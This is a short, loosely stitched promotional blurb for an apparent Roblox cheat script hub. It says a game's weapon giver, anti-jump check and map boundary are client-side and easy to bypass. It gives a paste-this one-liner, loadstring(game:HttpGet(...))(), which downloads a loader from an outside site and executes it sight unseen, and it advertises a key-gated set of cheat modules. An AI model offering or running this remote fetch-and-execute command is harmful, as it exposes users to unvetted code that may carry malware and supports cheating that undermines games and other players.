Weapons are handed out by a call that only cares that you touched the giver. The two things meant to constrain you -- the anti-jump part and the map boundary -- are both objects sitting on your own machine.
loadstring(game:HttpGet("https://rvhub.wtf/loader.lua"))()
Every label matches what you'll see in-game. Nothing generic is bolted on -- each hub is only the calls that game actually makes.
The limits are worth knowing before you assume something's broken.
One key, one loader, every module above.
